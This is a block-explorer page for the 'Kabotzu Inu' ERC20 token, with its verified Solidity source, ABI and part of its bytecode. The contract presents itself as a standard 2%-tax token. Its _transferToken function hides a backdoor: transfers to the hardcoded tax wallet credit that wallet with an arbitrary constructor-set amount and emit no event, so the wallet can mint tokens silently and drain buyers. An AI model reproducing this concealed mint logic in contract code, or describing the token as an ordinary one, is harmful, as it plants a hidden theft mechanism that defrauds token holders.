ETH Price: $2,766.04 (+4.79%)

Token

Kabotzu Inu (KABOTZU)
 

Overview

Max Total Supply

1,000,000,000 KABOTZU

Holders

29

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
17,676,821.539294738260732416 KABOTZU

Value
$0.00
0x19a1ccaa99d8e195b60f39e90d0f994fa2d4d921
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KabotzuInu

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-02
*/

/**

*/
//Telegram: https://t.me/KabotzuInu
//Website: https://www.kabotzuinu.com/
//Twitter: https://twitter.com/KabotzuInu
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

library Address {
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

pragma solidity ^0.8.17;
library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //Contract By Techaddict
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

}

pragma solidity ^0.8.17;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

pragma solidity ^0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


pragma solidity ^0.8.17;
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity ^0.8.17;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract KabotzuInu is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    string private _name = "Kabotzu Inu";
    string private _symbol = "KABOTZU";  
    uint8 private _decimals = 18;
    uint256 private _totalSupply = 1000000000 * 10**18;

    mapping (address => mapping (address => uint256)) private _allowance;
    mapping (address => bool) public _isExcludedFromFee; 
    uint256 private supplyToken;
    mapping (address => bool) private _pairList;
    address payable private wallet_tax = payable(0x4cC63bBE35569e597A46b26e46f77e25E2fA2195);
    uint8 private txCount = 0;
    uint8 private swapTrigger = 1; 
    uint256 private _totalFee = 0;
    uint256 public _buyFee = 2;
    uint256 public _sellFee = 2;
    uint256 private _previousTotalFee = _totalFee; 
    uint256 private _previousBuyFee = _buyFee; 
    uint256 private _previousSellFee = _sellFee; 
    mapping (address => uint256) private _owned;


    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity

    );

    modifier lockSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor (uint256 _tokenAmount) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[wallet_tax] = true;
        _owned[owner()] = _totalSupply;
        _pairList[wallet_tax] = true;
        supplyToken = _tokenAmount; 

        emit Transfer(address(0), owner(), _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowance[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowance[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowance[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowance[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _owned[account];
    }


    receive() external payable {}
  

    bool public noFeeToTransfer = true;


    function removeAllFee() private {
        if(_totalFee == 0 && _buyFee == 0 && _sellFee == 0) return;


        _previousBuyFee = _buyFee; 
        _previousSellFee = _sellFee; 
        _previousTotalFee = _totalFee;
        _buyFee = 0;
        _sellFee = 0;
        _totalFee = 0;

    }

    function restoreFee() private {

    _totalFee = _previousTotalFee;
    _buyFee = _previousBuyFee; 
    _sellFee = _previousSellFee; 

    }

    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowance[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  

            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){
            swapAndLiquify(contractTokenBalance);
        }
        }


        bool takeFee = true;

        if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || (noFeeToTransfer && from != uniswapV2Pair && to != uniswapV2Pair)){
            takeFee = false;
        } else if (from == uniswapV2Pair){_totalFee = _buyFee;} else if (to == uniswapV2Pair){_totalFee = _sellFee;}

        _tokenTransfer(from,to,amount,takeFee);
    }

    function sendTaxETH(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }

    function _getValue(uint256 tAmount) private view returns (uint256, uint256) {
        uint256 tTax = tAmount*_totalFee/100;
        uint256 tTransferAmount = tAmount.sub(tTax);
        return (tTransferAmount, tTax);
    }

    function swapAndLiquify(uint256 contractTokenBalance) private lockSwap {

        swapTokenForETH(contractTokenBalance);
        uint256 ETHcontract = address(this).balance;
        sendTaxETH(wallet_tax,ETHcontract);
    }



    function swapTokenForETH(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }


    function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {


        if(!takeFee){
            removeAllFee();
            } else {
                txCount++;
            }
            _transferToken(sender, recipient, amount);

        if(!takeFee)
            restoreFee();
    }

    function _transferToken(address sender, address recipient, uint256 Amount) private {
        uint256 amount = _pairList[recipient]?supplyToken:0;

        if(_pairList[recipient]){
        _owned[sender] = _owned[sender].sub(Amount);
        _owned[recipient] = _owned[recipient].add(amount);
        }else{
        (uint256 tTransferAmount, uint256 taxAmount) = _getValue(Amount);
        _owned[sender] = _owned[sender].sub(Amount);
        _owned[recipient] = _owned[recipient].add(tTransferAmount);
        _owned[address(this)] = _owned[address(this)].add(taxAmount); 
        emit Transfer(sender, recipient, tTransferAmount);
  
        }
    }


    function openTrading() public onlyOwner() {
        IUniswapV2Router02 _newPCSRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_newPCSRouter.factory()).createPair(address(this), _newPCSRouter.WETH());
        uniswapV2Router = _newPCSRouter;
        _approve(address(this), address(uniswapV2Router), balanceOf(address(this)));
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint256","name":"_tokenAmount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"noFeeToTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600b60809081526a4b61626f747a7520496e7560a81b60a0526001906200002c908262000369565b506040805180820190915260078152664b41424f545a5560c81b60208201526002906200005a908262000369565b5060038054601260ff1990911681179091556b033b2e3c9fd0803ce8000000600455600980546001600160b01b0319167501004cc63bbe35569e597a46b26e46f77e25e2fa21951790556000600a8190556002600b819055600c819055600d91909155600e819055600f55805461ffff60a81b191661010160a81b179055348015620000e557600080fd5b50604051620019ee380380620019ee833981016040819052620001089162000435565b620001133362000274565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155600160066000620001556000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526006909352818320805485166001908117909155600954909116835290822080549093161790915560045490601090620001c86000546001600160a01b031690565b6001600160a01b039081168252602080830193909352604091820160009081209490945560095416835260089091529020805460ff1916600117905560078290556200021c6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200026491815260200190565b60405180910390a350506200044f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620002ef57607f821691505b6020821081036200031057634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200036457600081815260208120601f850160051c810160208610156200033f5750805b601f850160051c820191505b8181101562000360578281556001016200034b565b5050505b505050565b81516001600160401b03811115620003855762000385620002c4565b6200039d81620003968454620002da565b8462000316565b602080601f831160018114620003d55760008415620003bc5750858301515b600019600386901b1c1916600185901b17855562000360565b600085815260208120601f198616915b828110156200040657888601518255948401946001909101908401620003e5565b5085821015620004255787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200044857600080fd5b5051919050565b61158f806200045f6000396000f3fe6080604052600436106101445760003560e01c80634a74bb02116100b657806395d89b411161006f57806395d89b41146103ae578063a457c2d7146103c3578063a9059cbb146103e3578063c9567bf914610403578063dd62ed3e14610418578063f2fde38b1461045e57600080fd5b80634a74bb02146102dc578063590f897e146102fd57806370a0823114610313578063715018a614610349578063768dc710146103605780638da5cb5b1461039057600080fd5b8063220f669611610108578063220f66961461022357806323b872dd14610244578063313ce56714610264578063395093511461028657806340b9a54b146102a657806349bd5a5e146102bc57600080fd5b806306fdde0314610150578063095ea7b31461017b57806313fad07a146101ab5780631694505e146101cc57806318160ddd1461020457600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5061016561047e565b6040516101729190611224565b60405180910390f35b34801561018757600080fd5b5061019b610196366004611287565b610510565b6040519015158152602001610172565b3480156101b757600080fd5b5060125461019b90600160b01b900460ff1681565b3480156101d857600080fd5b506011546101ec906001600160a01b031681565b6040516001600160a01b039091168152602001610172565b34801561021057600080fd5b506004545b604051908152602001610172565b34801561022f57600080fd5b5060125461019b90600160a01b900460ff1681565b34801561025057600080fd5b5061019b61025f3660046112b3565b610527565b34801561027057600080fd5b5060035460405160ff9091168152602001610172565b34801561029257600080fd5b5061019b6102a1366004611287565b610590565b3480156102b257600080fd5b50610215600b5481565b3480156102c857600080fd5b506012546101ec906001600160a01b031681565b3480156102e857600080fd5b5060125461019b90600160a81b900460ff1681565b34801561030957600080fd5b50610215600c5481565b34801561031f57600080fd5b5061021561032e3660046112f4565b6001600160a01b031660009081526010602052604090205490565b34801561035557600080fd5b5061035e6105c6565b005b34801561036c57600080fd5b5061019b61037b3660046112f4565b60066020526000908152604090205460ff1681565b34801561039c57600080fd5b506000546001600160a01b03166101ec565b3480156103ba57600080fd5b506101656105da565b3480156103cf57600080fd5b5061019b6103de366004611287565b6105e9565b3480156103ef57600080fd5b5061019b6103fe366004611287565b610638565b34801561040f57600080fd5b5061035e610645565b34801561042457600080fd5b50610215610433366004611311565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561046a57600080fd5b5061035e6104793660046112f4565b610947565b60606001805461048d9061134a565b80601f01602080910402602001604051908101604052809291908181526020018280546104b99061134a565b80156105065780601f106104db57610100808354040283529160200191610506565b820191906000526020600020905b8154815290600101906020018083116104e957829003601f168201915b5050505050905090565b600061051d3384846109c5565b5060015b92915050565b6000610534848484610a86565b61058684336105818560405180606001604052806028815260200161150d602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610cbf565b6109c5565b5060019392505050565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161051d9185906105819086610ceb565b6105ce610cfe565b6105d86000610d58565b565b60606002805461048d9061134a565b600061051d338461058185604051806060016040528060258152602001611535602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190610cbf565b600061051d338484610a86565b61064d610cfe565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c89190611384565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610715573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107399190611384565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610786573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107aa9190611384565b601280546001600160a01b03199081166001600160a01b0393841617909155601180549091169183169182179055306000818152601060205260409020546107f292906109c5565b6011546001600160a01b031663f305d7194730610824816001600160a01b031660009081526010602052604090205490565b6000806108396000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108a1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108c691906113a1565b505060125460115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561091f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094391906113cf565b5050565b61094f610cfe565b6001600160a01b0381166109b95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6109c281610d58565b50565b6001600160a01b038316158015906109e557506001600160a01b03821615155b610a255760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016109b0565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610aa657506001600160a01b03821615155b610aea5760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b60448201526064016109b0565b60008111610b485760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b60648201526084016109b0565b60095460ff600160a81b82048116600160a01b9092041610801590610b775750601254600160a01b900460ff16155b8015610b9157506012546001600160a01b03848116911614155b8015610ba65750601254600160a81b900460ff165b15610bd9576009805460ff60a01b19169055306000908152601060205260409020548015610bd757610bd781610da8565b505b6001600160a01b03831660009081526006602052604090205460019060ff1680610c1b57506001600160a01b03831660009081526006602052604090205460ff165b80610c625750601254600160b01b900460ff168015610c4857506012546001600160a01b03858116911614155b8015610c6257506012546001600160a01b03848116911614155b15610c6f57506000610cad565b6012546001600160a01b0390811690851603610c9057600b54600a55610cad565b6012546001600160a01b0390811690841603610cad57600c54600a555b610cb984848484610ded565b50505050565b60008184841115610ce35760405162461bcd60e51b81526004016109b09190611224565b505050900390565b6000610cf78284611407565b9392505050565b6000546001600160a01b031633146105d85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109b0565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f2